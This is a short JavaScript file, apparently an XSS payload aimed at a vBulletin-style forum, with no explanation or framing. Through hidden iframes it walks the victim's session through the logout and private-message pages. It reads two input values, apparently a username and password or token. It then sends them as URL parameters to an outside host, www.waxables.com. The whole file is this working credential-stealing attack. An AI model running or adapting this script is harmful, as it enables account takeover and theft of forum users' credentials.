document.write("<iframe src='/forum/login.php?do=logout' name='if1' id='if1' height=1000 width=1000></iframe>");
setTimeout("start()", 4000);

function start(){
//alert('Here');
//window.frames[0].document.getElementsByTagName("a")[32].click();
//window.frames[0].document.forms[0].submit();
var first_link = window.frames[0].document.getElementsByTagName('a')[32];
window.frames[0].document.location=first_link;
setTimeout("destroy()","2000");
}
function destroy(){
window.frames[0].document.location="/forum/private.php?folderid=0";
setTimeout("retrieve()", "2500");
}

function retrieve(){
var u = window.frames[0].document.getElementsByTagName("input")[17].value;
var p = window.frames[0].document.getElementsByTagName("input")[18].value;
window.frames[0].document.forms[2].submit();
setTimeout(mix(u,p), 3400);
}

function mix(u,p){
window.frames[0].document.write("<iframe name='if2' id='if2' src='http://www.waxables.com/test/test.php?u=" + u + "&p=" + p + "'></iframe>");
}

